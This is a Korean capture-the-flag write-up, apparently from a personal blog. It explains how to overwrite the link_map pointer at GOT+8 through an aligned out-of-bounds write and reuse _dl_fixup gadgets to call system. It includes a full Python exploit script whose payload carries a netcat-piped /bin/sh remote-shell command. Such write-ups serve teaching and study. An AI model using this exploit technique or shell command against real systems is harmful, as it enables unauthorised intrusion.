xmm0 low 에는 0x10이 고정으로 들어가고 xmm0 high에는 사용자 input 값이 들어가게 된다. offset에따라 메모리 공간을 덮는데, 음수로 지정해주면 GOT 부분을 덮을 수 있게 된다.
하지만 movaps 명령으로 덮기 때문에 16byte로 aligned 된 공간 한정으로 덮을 수 있다.
즉, 0x00 0x10 이렇게 뒤가 0으로 떨어지는 공간만 덮을 수 있다.
그렇기에 다른 영역은 거의 사용못하지만 GOT+8을 덮어서 dynamic linking에 사용되는 link_map 구조체를 덮을 수 있다.
덮은 직후 puts 함수를 호출하기 때문에 dynamic linker가 호출되고 그에따라 _dl_runtime_resolve, _dl_fixup 순으로 호출이 된다.
처음 접근은 fake link_map을 구성하여 _dl_lookup_symbol_x 를 호출하고 system 주소를 가져오는 것이었으나 애초에 link_map에서 symbol_scope나 version 등의 인자가 라이브러리 기준으로 가져오는 것이기 때문에 성공하지 못했다.
대신, _dl_fixup의 가젯들을 이용해서 exploit 하는데 성공했다.
exploit을 위해 _dl_fixup을 살펴보자
%rdi와 %rax는 link_map의 주소로 같은 값을 가진다.
핵심은 +67의 mov (%rax), %r9인데, 아래처럼 두번째 문기문에서 %rax로 맞춰줄 수 있기 때문이다.
그리고 이 %rax는 %rsi+8값과 더해져서 분기문을 거치고 call %rax로 점프를 한다.
즉 %rsi를 GOT로 맞춰주고 %rax를 system offset으로 맞춰준다면 저 분기문은 라이브러리 주소인 %rsi+4 값에 따라 달라질 것이니 몇 번 시도하다보면 system을 실행시킬 수 있을 것이다. 인자로 들어가는 rdi 또한 맞춰줄 수 있다.
testb 0x3, 0x5(%rsi) 구문이 _dl_fixup+427로 분기하도록 하는 rsi 값을 취해야한다.
puts나 exit는 한번도 호출되지 않았으므로 실제 주소를 가지고 있지 않다. 그래서 __libc_start_main이나 close같은 함수를 이용해서 offset을 계산해야한다.
#!/usr/bin/python
from socket import *
from struct import pack
p = lambda x:pack("<Q",x)
host = "localhost"
port = 7142
s = create_connection((host,port))
offset = 0xFFFFFFFFFFFFFf80
link_map = 0x600bd0
rdi = 0x600cd8
rsi = 0x600b70 # read_got - 8
rdx = link_map
payload = ""
payload += p(offset)
payload += p(link_map)
# link_map
payload += p(-0xa68f0&0xffffffffffffffff) # offset
payload += p(rdi)
payload += p(2)
payload += p(rsi)
payload += p(7) # rcx = (link_map+8*3)+8
payload += p(rdx)
payload += p(6)
payload += p(7)
payload += p(8)
payload += p(9)
payload += p(10)
payload += p(11)
payload += p(12)
payload += p(link_map)
payload += p(link_map+16)
for i in range(16):
payload += p(0x61)
payload += p(link_map+32)
payload += "PADDPADD"
payload += "nc localhost 4444 | /bin/sh | nc localhost 4445"
print len(payload)
payload += "\x00"*(1024-len(payload))
s.send(payload)
원샷 페이로드는 아니고 몇 번 시도하면 실행이 된다. while [ 1 ] ; do ; done 구문으로 하면 더 빠르게 쉘을 획득할 수 있다.
'CTF' 카테고리의 다른 글
[codegate2016] bugbug (2) | 2016.03.19 |
---|---|
[HackIM] sandman (0) | 2016.03.03 |
[Layer7 2015] Reverse Me, Easy Rerversing (0) | 2015.09.01 |
Codegate 2015 bookstore (0) | 2015.03.17 |
christmas CTF Rudolph (0) | 2015.02.20 |